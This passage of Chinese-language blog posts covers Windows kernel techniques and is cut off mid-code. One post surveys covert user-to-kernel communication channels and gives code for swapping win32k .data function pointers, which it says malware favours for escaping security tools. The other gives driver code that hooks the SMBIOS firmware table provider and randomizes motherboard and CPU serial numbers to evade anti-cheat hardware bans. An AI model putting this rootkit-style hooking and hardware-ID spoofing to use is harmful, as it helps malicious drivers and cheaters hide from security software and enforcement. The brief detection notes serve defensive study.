    设备是挂在驱动上的DeviceObject上面的

    正常IO通信

    R0:

    //创建设备名称
    UNICODE_STRING Devicename;
    RtlInitUnicodeString(&Devicename,L"\\Device\\MyDevice");
    
    //创建设备
    IoCreateDevice(
        pDriver,    //当前设备所属的驱动对象
        0,
        &Devicename,    //设备对象的名称
        FILE_DEVICE_UNKNOWN,
        FILE_DEVICE_SECURE_OPEN,
        FALSE,
        &pDeviceObj    //设备对象指针
    );

    R3:

    CreateFileW(SYMBOL_LINK_NAME,GENERIC_READ|GENERIC_WRITE,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
    DeviceIoControl(g_Device,KillAPP,&pEprocess,sizeof(DWORD),&outBuffer,sizeof(DWORD),NULL,NULL))

     

     

    隐蔽通讯常见种类介绍

    隐蔽通信原理与常见种类

    正常的设备通信会被各种ark或其他工具遍历到

    winobj:https://learn.microsoft.com/zh-cn/sysinternals/downloads/winobj

    隐蔽通讯常见种类介绍

    devicetree.exe

    隐蔽通讯常见种类介绍

    其次通过无模块加载技术加载的驱动没有驱动对象,也无法创建正常的io通信。所以我们另寻通信方式。

    任何能从3环主动发起0环能接收到的API或方法都能作为通信方法,如果对通信的实时性没要求也可去掉“主动”一词

    常见隐蔽通信方式

    1.劫持io通信

    故名意思,去劫持系统白名单驱动的通信。

    在导入表有查看是否有建立IO通信的函数

    隐蔽通讯常见种类介绍

    隐蔽通讯常见种类介绍

    发现没有IRP_MJ_DEVICE_CONTROL我们可以给他增加一个来作为我们的通信

    2.minifilter端口

    FltCreateCommunicationPort
    FltCloseCommunicationPort
    通过回调函数的InputBuffer接受用户态的消息并通过OutputBuffer回复
    用户态通过FilterConnectCommunicationPort和FilterSendMessage通信

    3.共享内存

    3环申请一块内存,0环使用mdl映射

    3.注册表

    3环和内核都有可以读写注册表的函数,故而可以作为通信

     if (!WriteRegistryDword(HKEY_LOCAL_MACHINE, L"", L"oPid", GetCurrentProcessId())) { return false; }
        if (!WriteRegistryQword(HKEY_LOCAL_MACHINE, L"", L"oAddr", reinterpret_cast<DWORD_PTR>(req))) {
    InitializeObjectAttributes(&ObjectAttributes, &RegPath, OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, NULL, NULL);
    
    	Status = ZwOpenKey(&KeyHandle, KEY_READ, &ObjectAttributes);
    	if (!NT_SUCCESS(Status)) {
    		return Status;
    	}
    
    	KEY_VALUE_PARTIAL_INFORMATION KeyValueInfo;
    	Status = ZwQueryValueKey(KeyHandle, &AddrValueName, KeyValuePartialInformation, &KeyValueInfo, sizeof(KeyValueInfo) + sizeof(DWORD), &ResultLength);
    
    	if (NT_SUCCESS(Status)) {
    		if (KeyValueInfo.Type == REG_QWORD && KeyValueInfo.DataLength == sizeof(uintptr_t)) {
    			RtlCopyMemory(&Buffer, KeyValueInfo.Data, sizeof(uintptr_t));
    			oAddr = Buffer;
    		}
    		else {
    			Status = STATUS_INVALID_PARAMETER;
    		}
    	}
    
    	ZwClose(KeyHandle);

    4.文件

    同上3和0都有操作文件的函数

    5.套接字

    使用socket进行通信

    6.data ptr

    .data 是目前恶意程序最主流的通信方式,因为太多了,很难全部监控,如果找到的.data足够隐蔽,那么很难短时间内检测到。

    有很多内核函数中是函数指针的调用方式,而这些函数指针存在.data区,或者.rdata区,我们通过交互指针的方法,让函数执行到我们模块的函数中。

    _guard_dispatch_icall_fptr是Windows系统中与控制流防护(CFG)相关的关键函数指针,主要用于验证间接函数调用的合法性,我们可以搜索“_guard_dispatch_icall_fptr”来枚举可利用的指针。

    ntoskrnl.exe被PG和各大安全软件监控较为严重,我们可以去其他模块中寻找data ptr(写个脚本让ida去跑)

    File->Script file…

    隐蔽通讯常见种类介绍

    隐蔽通讯常见种类介绍

    隐蔽通讯常见种类介绍

    像这种NtUser开头的函数一般都可从3环调用到,并且可以发现具有可利用指针

    利用InterlockedExchangePointer函数交换指针

     const  PVOID win32k = system::get_kernel_modulebase(("win32k.sys"), &nSize);
    		 if (win32k) {
    			 nt_qword = system::search_kernel((uintptr_t)win32k, NT_QWORD_SIG, NT_QWORD_MASK);
    
    			 const uintptr_t nt_qword_deref = (uintptr_t)nt_qword + 7 + *(int*)((unsigned char*)nt_qword + 3);
    			 *(void**)&oNtOldFun = InterlockedExchangePointer((void**)nt_qword_deref, (void*)NtFun);
    
    	
    		 }

    我们只需要把一个参数当作结构体指针使用,并约定通信码,3环调用API填入指定参数即可完成通信,其他应用不知晓通信码,即可正确调用原API。

    		(LoadLibraryA)(("user32.dll"));
    		(LoadLibraryA)(("win32u.dll"));
    
    		const HMODULE win32u = (GetModuleHandleA)(("win32u.dll"));
    		if (!win32u)
    		{
    
    			return 0;
    		}
    
    
    		*(void**)&NtUserFun= GetProcAddress(win32u, ("函数名"));

    隐蔽通讯常见种类介绍

    检测方法

    内存与文件做对比,检测指针有效性,栈回溯地址是否在合法模块等等

    python脚本

    1765376842-find_data_ptr

  • 获得并修改硬件序列号–CPU、主板、内存、硬盘等(有源码)

    获得并修改硬件序列号–CPU、主板、内存、硬盘等(有源码)

    大家都知道很多Anti Cheat会封硬件序列号,所以本文探索一下如何get and modify序列号。

    这个服务是比较贵的:

    获得并修改硬件序列号--CPU、主板、内存、硬盘等(有源码)        获得并修改硬件序列号--CPU、主板、内存、硬盘等(有源码)

    于是有了研究一下的想法。

     

    思路:

    1. 通过厂商自带的程序刷新固件。

    2. 自己写驱动修改。

    思路1不讨论,要拿到厂商去修改,很不方便。这里重点讨论思路2。

    思路2是通过修改SMBIOS表,有两种方法,一种需要开机自启动,一种不需要,后面会介绍。

    SMBIOS:

    SMBIOS(System Management BIOS)是主板或系统制造者以标准格式显示产品管理信息所需遵循的统一规范。

    而DMI(Desktop Management Interface, DMI) 就是帮助收集电脑系统信息的管理系统。

    DMI信息的收集必须在严格遵照SMBIOS规范的前提下进行。

    两种方法都需要解析SMBIOS。

    一、先介绍不需要重启的方法:

    1.从物理内存 0x000F0000-0x000FFFFF 之间寻找关键字 “ _SM_” 。

    2.找到后再向后16个字节,看后面5个BYTE是否是关键字“_DMI_”,如果是,EPS表即找到。

    EPS表结构中16H以及18H处,得出数据表长度和数据表地址,即可通过地址访问 SMBIOS 数据结构表。

    SMBIOS表结构由头和体组成,其中头的结构定义如下:

    获得并修改硬件序列号--CPU、主板、内存、硬盘等(有源码)

    体的结构由头的TYPE字段决定,如下:

    获得并修改硬件序列号--CPU、主板、内存、硬盘等(有源码)

    其中TYPE 0结构是BIOS information,TYPE 1结构是SYSTEM Information,其它类型大家查阅我附件里的文档。

    总之是依据文档标准去解析。这里给出关键代码:

    获得并修改硬件序列号--CPU、主板、内存、硬盘等(有源码)

    从而找到EPS和SMBIOS表。然后修改SMBIOS表中的字段。

    这样可以修改CPU、主板、内存、硬盘序列号

    由于篇幅关系,先介绍到这里,具体代码见附件:GetSMBiosRing0.zip。

    效果如下:

    获得并修改硬件序列号--CPU、主板、内存、硬盘等(有源码)

    图右侧显示BIOS模式为”传统”,代表BIOS,非UEFI。

    二、再介绍需要重启的方法:

    1.

    先是想注册回调来修改,通过NtSetSystemInformation函数的

    SystemRegisterFirmwareTableInformationHandler,见下面的WRK代码:

     

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    NTSTATUS
    NTAPI
    NtSetSystemInformation (
        __in SYSTEM_INFORMATION_CLASS SystemInformationClass,
        __in_bcount_opt(SystemInformationLength) PVOID SystemInformation,
        __in ULONG SystemInformationLength
        )
    /*++
    Routine Description:
        This function set information about the system.
    Arguments:
        SystemInformationClass - The system information class which is to
            be modified.
        SystemInformation - A pointer to a buffer which contains the specified
            information. The format and content of the buffer depend on the
            specified system information class.
        SystemInformationLength - Specifies the length in bytes of the system
            information buffer.
    Return Value:
        Returns one of the following status codes:
            STATUS_SUCCESS - Normal, successful completion.
            STATUS_ACCESS_VIOLATION - The specified system information buffer
                is not accessible.
            STATUS_INVALID_INFO_CLASS - The SystemInformationClass parameter
                did not specify a valid value.
            STATUS_INFO_LENGTH_MISMATCH - The value of the SystemInformationLength
                parameter did not match the length required for the information
                class requested by the SystemInformationClass parameter.
            STATUS_PRIVILEGE_NOT_HELD is returned if the caller does not have the
                privilege to set the system time.
    --*/
    {
        BOOLEAN Enable;
        KPROCESSOR_MODE PreviousMode;
        NTSTATUS Status;
        ULONG TimeAdjustment;
        PSYSTEM_SET_TIME_ADJUST_INFORMATION TimeAdjustmentInformation;
        HANDLE EventHandle;
        PVOID Event;
        ULONG LoadFlags = MM_LOAD_IMAGE_IN_SESSION;
        PAGED_CODE();
        //
        // Establish an exception handle in case the system information buffer
        // is not accessible.
        //
        Status = STATUS_SUCCESS;
        try {
            //
            // Get the previous processor mode and probe the input buffer for
            // read access if necessary.
            //
            PreviousMode = KeGetPreviousMode();
            if (PreviousMode != KernelMode) {
                ProbeForRead((PVOID)SystemInformation,
                             SystemInformationLength,
                             sizeof(ULONG));
            }
            //
            // Dispatch on the system information class.
            //
            switch (SystemInformationClass) {
            case SystemFlagsInformation:
                if (SystemInformationLength != sizeof( SYSTEM_FLAGS_INFORMATION )) {
                    return STATUS_INFO_LENGTH_MISMATCH;
                }
                if (!SeSinglePrivilegeCheck( SeDebugPrivilege, PreviousMode )) {
                    return STATUS_ACCESS_DENIED;
                }
                else {
                    ULONG Flags;
                    Flags = ((PSYSTEM_FLAGS_INFORMATION)SystemInformation)->Flags &
                             ~(FLG_KERNELMODE_VALID_BITS | FLG_BOOTONLY_VALID_BITS);
                    Flags |= NtGlobalFlag & (FLG_KERNELMODE_VALID_BITS | FLG_BOOTONLY_VALID_BITS);
                    NtGlobalFlag = Flags;
                    ((PSYSTEM_FLAGS_INFORMATION)SystemInformation)->Flags = NtGlobalFlag;
                }
                break;
    ...... 省略
    case SystemRegisterFirmwareTableInformationHandler:
                Status = ExpRegisterFirmwareTableInformationHandler(SystemInformation,
                                                                    SystemInformationLength,
                                                                    PreviousMode);
                break;

    编写代码:

     

    1
    2
    3
    4
    5
    6
    TableHandler.ProviderSignature = 'RSMB';    // (Raw SMBIOS)
    TableHandler.Register = TRUE;
    TableHandler.FirmwareTableHandler = &WmipRawSMBiosTableHandler1;
    TableHandler.DriverObject = g_PnpDriverObject;
    ntStatus = funZwSetSystemInfomation(SystemRegisterFirmwareTableInformationHandler,
       (PVOID)&TableHandler, sizeof(SYSTEM_FIRMWARE_TABLE_HANDLER));

    发现ntStatus没有成功,返回STATUS_OBJECT_NAME_EXISTS,对象已经存在。

    于是尝试先删除已经存在的,TableHandler.Register设置为FALSE:

     

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    VOID WmipRegisterFirmwareProviders()
    {
        // Register the SMBIOS raw provider.
       TableHandler.ProviderSignature = 'RSMB';    // (Raw SMBIOS)
       TableHandler.Register = FALSE;
       TableHandler.FirmwareTableHandler = &WmipRawSMBiosTableHandler1;
       TableHandler.DriverObject = g_PnpDriverObject/*IoPnpDriverObject*/;
       ntStatus = funZwSetSystemInfomation(SystemRegisterFirmwareTableInformationHandler,
       (PVOID)&TableHandler, sizeof(SYSTEM_FIRMWARE_TABLE_HANDLER));
       TableHandler.ProviderSignature = 'RSMB';    // (Raw SMBIOS)
       TableHandler.Register = TRUE;
       TableHandler.FirmwareTableHandler = &WmipRawSMBiosTableHandler1;
       TableHandler.DriverObject = g_PnpDriverObject;
       ntStatus = funZwSetSystemInfomation(SystemRegisterFirmwareTableInformationHandler,
       (PVOID)&TableHandler, sizeof(SYSTEM_FIRMWARE_TABLE_HANDLER));
    }

    发现还是删除不了Raw SMBIOS,第一次funZwSetSystemInfomation返回STATUS_INVALID_PARAMETER,

    第二次返回STATUS_OBJECT_NAME_EXISTS。

    然后查看上面ZwSetSystemInfomation对SystemRegisterFirmwareTableInformationHandler的处理

    代码如下:

     

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    NTSTATUS
    ExpRegisterFirmwareTableInformationHandler(
        IN OUT PVOID SystemInformation,
        IN ULONG SystemInformationLength,
        IN KPROCESSOR_MODE PreviousMode
        )
    /*++
    Description:
        This routine registers and unregisters firmware table providers.
    Parameters:
        SystemInformation       - points to the SYSTEM_FIRMWARE_TABLE_HANDLER 
                                  structure.
        SystemInformationLength - returns the number of bytes written on success. if
                                  the provided buffer was too small, it returns the 
                                  required size.
        PreviousMode            - Previous mode (Kernel / User).
    Return Value:
        STATUS_SUCCESS                  - On success.
        STATUS_PRIVILEGE_NOT_HELD       - If caller is from User mode.
        STATUS_INFO_LENGTH_MISMATCH     - Buffer too small.
        STATUS_INSUFFICIENT_RESOURCES   - On failure to allocate resources.
        STATUS_OBJECT_NAME_EXISTS       - Table already registered.
        STATUS_INVALID_PARAMETER        - Table not found / invalid request.
    --*/
    {
        
        BOOLEAN                             HandlerFound = FALSE;
        PSYSTEM_FIRMWARE_TABLE_HANDLER_NODE HandlerListCurrent = NULL;
        PSYSTEM_FIRMWARE_TABLE_HANDLER_NODE HandlerListNew = NULL;
        NTSTATUS                            Status = STATUS_SUCCESS;
        PSYSTEM_FIRMWARE_TABLE_HANDLER      SystemTableHandler = NULL;
        PAGED_CODE();
        if (PreviousMode != KernelMode) {
                Status = STATUS_PRIVILEGE_NOT_HELD;
        else {
            if ((!SystemInformation) || 
               (SystemInformationLength < sizeof(SYSTEM_FIRMWARE_TABLE_HANDLER))) {
                Status = STATUS_INFO_LENGTH_MISMATCH;
            else {
                //
                // Grab the resource to prevent state change via reentry.
                //
                KeEnterCriticalRegion();
                
                ExAcquireResourceExclusiveLite(&ExpFirmwareTableResource, 
                                               TRUE);
                
                SystemTableHandler = (PSYSTEM_FIRMWARE_TABLE_HANDLER)SystemInformation;
                
                EX_FOR_EACH_IN_LIST(SYSTEM_FIRMWARE_TABLE_HANDLER_NODE,
                                    FirmwareTableProviderList,
                                    &ExpFirmwareTableProviderListHead,
                                    HandlerListCurrent) {
                    if (HandlerListCurrent->SystemFWHandler.ProviderSignature == SystemTableHandler->ProviderSignature) {
                        HandlerFound = TRUE;
                        break;
                    }
                }
                //
                // Handler was not found and this is a register request, so
                // allocate a new node and insert it into the list.
                //
                
                if ((!HandlerFound) && (SystemTableHandler->Register)) {
                    //
                    // This is a new Firmware table handler, allocate 
                    // the space and add it to the list.
                    //
                    HandlerListNew = ExAllocatePoolWithTag(PagedPool, 
                                                           sizeof(SYSTEM_FIRMWARE_TABLE_HANDLER_NODE),
                                                           'TFRA');
                    
                    if (HandlerListNew) {
                        //
                        // Populate the new node.
                        //
                        HandlerListNew->SystemFWHandler.ProviderSignature = SystemTableHandler->ProviderSignature;
                        HandlerListNew->SystemFWHandler.FirmwareTableHandler = SystemTableHandler->FirmwareTableHandler;
                        HandlerListNew->SystemFWHandler.DriverObject = SystemTableHandler->DriverObject;
                        InitializeListHead(&HandlerListNew->FirmwareTableProviderList);
                        
                        //
                        // Grab a reference to the providers driverobject so that the
                        // driver does not get unloaded without our knowledge. The 
                        // handler must first be unregistered before unloading. 
                        //
                        ObReferenceObject((PVOID)HandlerListNew->SystemFWHandler.DriverObject);
                        //
                        // Update the LinkList.
                        //
                        InsertTailList(&ExpFirmwareTableProviderListHead, 
                                       &HandlerListNew->FirmwareTableProviderList);
                    else {
                        Status = STATUS_INSUFFICIENT_RESOURCES;
                    }
                    
                else if ((HandlerFound) && (!(SystemTableHandler->Register))) {
                
                    //
                    // Check to make sure that a matching driver object was sent in.
                    //
                    if (HandlerListCurrent->SystemFWHandler.DriverObject == SystemTableHandler->DriverObject) {
                        //
                        // Remove the entry from the list.
                        //
                        RemoveEntryList(&HandlerListCurrent->FirmwareTableProviderList);
                        
                        //
                        // Deref the device object.
                        //
                        ObDereferenceObject((PVOID)HandlerListCurrent->SystemFWHandler.DriverObject);
                        //
                        // Free the unregistered list element.
                        //
                        ExFreePoolWithTag(HandlerListCurrent, 'TFRA');
                    else {
                        Status = STATUS_INVALID_PARAMETER;
                    }
                else if ((HandlerFound) && (SystemTableHandler->Register)) {
                    //
                    // A handler for this table has already been registered. return 
                    // error.
                    //
                    Status = STATUS_OBJECT_NAME_EXISTS;
                else {
                    Status = STATUS_INVALID_PARAMETER;
                }
                    
                ExReleaseResourceLite(&ExpFirmwareTableResource);
                KeLeaveCriticalRegion();
            }
        }
      
        return Status;
    }

    从上面返回的STATUS_OBJECT_NAME_EXISTS错误码和EX_FOR_EACH_IN_LIST代码:

     

    1
    2
    3
    4
    5
    6
    7
    8
    EX_FOR_EACH_IN_LIST(SYSTEM_FIRMWARE_TABLE_HANDLER_NODE,
                                    FirmwareTableProviderList,
                                    &ExpFirmwareTableProviderListHead,
                                    HandlerListCurrent) {
    if (HandlerListCurrent->SystemFWHandler.ProviderSignature == SystemTableHandler->ProviderSignature) {
        HandlerFound = TRUE;
        break;
    }

    推断出WmipRegisterFirmwareProviders函数中的g_PnpDriverObject不对。WRK中IoPnpDriverObject未导出。

    2.Hook ExpFirmwareTableProviderListHead指针来修改硬件Id:

    核心代码来自UC论坛,我对代码进行了简单的修改:

     

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    BOOL HookWmipRawSMBiosTable()
    {
       PLIST_ENTRY pExpFirmwareTableProviderListHead = NULL;
       PSYSMODULELIST pSysModuleList = NULL;
       static UCHAR signature[] = "\x48\x8B\x05\x00\x00\x00\x00\x48\x83\xC0\xE8";
       static UCHAR signature2[] = "\x48\x8B\x0D\x00\x00\x00\x00\x48\x83\xC1\xE8";
       pSysModuleList = GetModuleList();
       if (!pSysModuleList)
           return FALSE;
       ULONG_PTR ulNtoskrnlBase =0, ulNtoskrnlSize = 0;
       FindModuleByName(pSysModuleList, "ntoskrnl.exe", &ulNtoskrnlBase, &ulNtoskrnlSize);
       IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER*)(ulNtoskrnlBase);
       IMAGE_NT_HEADERS *kernelImage = (IMAGE_NT_HEADERS*)(ulNtoskrnlBase + dos->e_lfanew);
       //PIMAGE_SECTION_HEADER pFirstSection = (PIMAGE_SECTION_HEADER)(g_ntoskrnl + 1);
       // 
       // 获取DOS头部
       IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)ulNtoskrnlBase;
       // 检查DOS头部的标志是否符合PE格式
       if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
           return FALSE;
       }
       // 计算PE头部的地址
       IMAGE_NT_HEADERS* ntHeader = (IMAGE_NT_HEADERS*)((DWORD_PTR)ulNtoskrnlBase + dosHeader->e_lfanew);
       // 检查PE头部的标志是否符合PE格式
       if (ntHeader->Signature != IMAGE_NT_SIGNATURE) {
           return FALSE;
       }
       // 获取节表的地址
       IMAGE_SECTION_HEADER* sectionHeader = (IMAGE_SECTION_HEADER*)((DWORD_PTR)ntHeader + sizeof(IMAGE_NT_HEADERS));
       for (PIMAGE_SECTION_HEADER pSection = sectionHeader; 
       pSection < sectionHeader + kernelImage->FileHeader.NumberOfSections; pSection++)
       {
       if (*(PULONG)pSection->Name != 'EGAP')
       {
           continue;
       }
       DWORD64 found = find_pattern(ulNtoskrnlBase + pSection->VirtualAddress,
       pSection->Misc.VirtualSize, (const char*)signature, "xxx????xxxx");
       if (found == 0)
       {
           found = find_pattern(ulNtoskrnlBase + pSection->VirtualAddress,
           pSection->Misc.VirtualSize, (const char*)signature2, "xxx????xxxx");
       }
       if (found != 0)
       {
           pExpFirmwareTableProviderListHead = (PLIST_ENTRY)found;
           break;
       }
       }
       if (pExpFirmwareTableProviderListHead != NULL)
       {
           // PAGE:00000001404A95A5 48 8B 05 >64 8C E2 FF mov     rax, cs:ExpFirmwareTableProviderListHead
           int relativeAddr = *(int*)((char*)pExpFirmwareTableProviderListHead + 3);
           pExpFirmwareTableProviderListHead = (PLIST_ENTRY)((uintptr_t)(pExpFirmwareTableProviderListHead)+7 + relativeAddr);
           if (!IsListEmpty(pExpFirmwareTableProviderListHead))
           {
               PLIST_ENTRY nextEntry = NULL;
               for (PLIST_ENTRY pListEntry = pExpFirmwareTableProviderListHead->Flink; pListEntry != pExpFirmwareTableProviderListHea        d; pListEntry = nextEntry)
               {
                   nextEntry = pListEntry->Flink;
                   unsigned int val = *(unsigned int*)((uintptr_t)pListEntry - 0x18);
                   PVOID* funcPtr = (PVOID*)((uintptr_t)pListEntry - 0x18 + 0x8);
                   DbgPrint("ExpFirmwareTableProviderListHead entry: %u 0x%p", val, *funcPtr);
                   if (val == 'RSMB')
                   {
                       g_pFuncPtr = funcPtr;
                       pOriginalWmipRawSMBiosTableHandler = *(PFNFTH*)funcPtr;
                       InterlockedExchangePointer((volatile PVOID*)funcPtr, (PVOID)WmipRawSMBiosTableHandlerHook);
                       break;
                   }
               }
           }
       }
       return TRUE;
    }

    函数指针替换成功,WmipRawSMBiosTableHandlerHook函数可以正确调用。

    但是,不能修改SMBios数据,只能读取。

    下面说下我想到的能够修改主板序列号的方法:

    通过 WmipFindSMBiosStructure -> WmipSMBiosTablePhysicalAddress获得SMBios表的地址,然后找到

    WmipFindSMBiosStructure -> WmipSMBiosTableLength获得SMBios表的长度。代码如下:

     

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    // WmipFindSMBiosStructure -> WmipSMBiosTablePhysicalAddress
    PPHYSICAL_ADDRESS physical_address = (PPHYSICAL_ADDRESS)n_util::find_pattern_image(address,
       "\x48\x8B\x0D\x00\x00\x00\x00\x48\x85\xC9\x74\x00\x8B\x15",
       "xxx????xxxx?xx");
    if (physical_address == 0) return false;
        physical_address = reinterpret_cast<PPHYSICAL_ADDRESS>(reinterpret_cast<char*>(physical_address) + 7 + *reinterpret_cast<int*>(reinterpret_cast<char*>(physical_address) + 3));
    if (physical_address == 0) return false;
        n_log::printf("physical address : %llx \n", physical_address);
    // WmipFindSMBiosStructure -> WmipSMBiosTableLength
        DWORD64 physical_length_address = n_util::find_pattern_image(address,
       "\x8B\x1D\x00\x00\x00\x00\x48\x8B\xD0\x44\x8B\xC3\x48\x8B\xCD\xE8\x00\x00\x00\x00\x8B\xD3\x48\x8B",
       "xx????xxxxxxxxxx????xxxx");
    if (physical_length_address == 0) return false;
    unsigned long physical_length = *reinterpret_cast<unsigned long*>(static_cast<char*>((void*)physical_length_address) + 6 + *reinterpret_cast<int*>(static_cast<char*>((void*)physical_length_address) + 2));
    if (physical_length == 0) return false;
        n_log::printf("physical length : %d \n", physical_length);

    然后遍历、修改表。这里给出SMBios用到的几个结构体:

     

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    typedef struct
        {
            UINT8   Type;
            UINT8   Length;
            UINT8   Handle[2];
        } SMBIOS_HEADER,*PSMBIOS_HEADER;
        typedef UINT8   SMBIOS_STRING;
        typedef struct
        {
            SMBIOS_HEADER   Hdr;
            SMBIOS_STRING   Vendor;
            SMBIOS_STRING   BiosVersion;
            UINT8           BiosSegment[2];
            SMBIOS_STRING   BiosReleaseDate;
            UINT8           BiosSize;
            UINT8           BiosCharacteristics[8];
        } SMBIOS_TYPE0;
        typedef struct
        {
            SMBIOS_HEADER   Hdr;
            SMBIOS_STRING   Manufacturer;
            SMBIOS_STRING   ProductName;
            SMBIOS_STRING   Version;
            SMBIOS_STRING   SerialNumber;
            //
            // always byte copy this data to prevent alignment faults!
            //
            GUID            Uuid; // EFI_GUID == GUID?
            UINT8           WakeUpType;
        } SMBIOS_TYPE1;
        typedef struct
        {
            SMBIOS_HEADER   Hdr;
            SMBIOS_STRING   Manufacturer;
            SMBIOS_STRING   ProductName;
            SMBIOS_STRING   Version;
            SMBIOS_STRING   SerialNumber;
        } SMBIOS_TYPE2;
        typedef struct
        {
            SMBIOS_HEADER   Hdr;
            SMBIOS_STRING   Manufacturer;
            UINT8           Type;
            SMBIOS_STRING   Version;
            SMBIOS_STRING   SerialNumber;
            SMBIOS_STRING   AssetTag;
            UINT8           BootupState;
            UINT8           PowerSupplyState;
            UINT8           ThermalState;
            UINT8           SecurityStatus;
            UINT8           OemDefined[4];
        } SMBIOS_TYPE3;

    具体请见 https://www.dmtf.org/sites/default/files/standards/documents/DSP0134_3.7.1.pdf

    System Management BIOS (SMBIOS) Reference Specification。

    然后遍历、修改表代码如下:

     

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    void process_smbios_table(SMBIOS_HEADER* header)
        {
            auto TableLength = [](PSMBIOS_HEADER pHeader) -> size_t
            {
                char* current = reinterpret_cast<char*>(pHeader) + pHeader->Length;
                size_t i = 1;
                for (i; current[i - 1] != '\0' || current[i] != '\0'; i++)
                {
                    // Scan until we find a double zero byte
                }
                return pHeader->Length + i + 1;
            };
            auto GetString = [](PSMBIOS_HEADER pHeader, unsigned char id, int nLen) -> char*
            {
                UNREFERENCED_PARAMETER(id);
                UNREFERENCED_PARAMETER(nLen);
                char* string = reinterpret_cast<char*>(pHeader) + pHeader->Length;
                char hexOutput[256] = { 0 };
                stringToHex(string, hexOutput, nLen);
                DbgPrint("%s\r\n", hexOutput);
                for (DWORD i = 1; i < id; i++)
                {
                    string += strlen(string) + 1;
                }
                return string;
            };
            {
                char* serialNumber = NULL;
                if (header->Type == 1) //主板bios
                {
                    SMBIOS_TYPE1* pSystemInfoHeader = reinterpret_cast<SMBIOS_TYPE1*>(header);
                    serialNumber = GetString((SMBIOS_HEADER*)pSystemInfoHeader, pSystemInfoHeader->SerialNumber,
                        header->Length);
                    DbgPrint("read SystemInfo: %s\r\n", serialNumber);
                }
                else if (header->Type == 2) //主板物理序列号
                {
                    SMBIOS_TYPE3* pBaseBoardHeader = reinterpret_cast<SMBIOS_TYPE3*>(header);
                    serialNumber = GetString((SMBIOS_HEADER*)pBaseBoardHeader, pBaseBoardHeader->SerialNumber,
                        header->Length);
                    DbgPrint("read BaseBoard: %s\r\n", serialNumber);
                }
                else if (header->Type == 4) // CPU
                {
                    SMBIOS_TYPE4* pCpuHeader = reinterpret_cast<SMBIOS_TYPE4*>(header);
                    serialNumber = GetString((SMBIOS_HEADER*)pCpuHeader, pCpuHeader->ProcessorId,
                        header->Length);
                    DbgPrint("read CPU: %s\r\n", serialNumber);
                }
                if (serialNumber)
                {
                    if (header->Type == 1) // SystemInfo 主板bios
                    {
                        SMBIOS_TYPE1* pSystemInfoHeader = reinterpret_cast<SMBIOS_TYPE1*>(header);
                        RandomizeSerialNumber(serialNumber, 12);
                        DbgPrint("write: %s\r\n", serialNumber);
                        serialNumber = GetString((SMBIOS_HEADER*)pSystemInfoHeader, pSystemInfoHeader->SerialNumber,
                            header->Length);
                        DbgPrint("re-read BaseBoard bios: %s.Len:%d\r\n", serialNumber, header->Length);
                    }
                    else if (header->Type == 2) // BaseBoard Physical SN
                    {
                        SMBIOS_TYPE3* pBaseBoardHeader = reinterpret_cast<SMBIOS_TYPE3*>(header);
                        RandomizeSerialNumber(serialNumber, 12);
                        DbgPrint("write: %s\r\n", serialNumber);
                        serialNumber = GetString((SMBIOS_HEADER*)pBaseBoardHeader, pBaseBoardHeader->SerialNumber,
                            header->Length);
                        DbgPrint("re-read BaseBoard: %s.Len:%d\r\n", serialNumber, header->Length);
                    }
                    else if (header->Type == 4) // CPU
                    {
                        SMBIOS_TYPE4* pCpuHeader = reinterpret_cast<SMBIOS_TYPE4*>(header);
                        RandomizeSerialNumber(serialNumber, 12);
                        DbgPrint("write: %s\r\n", serialNumber);
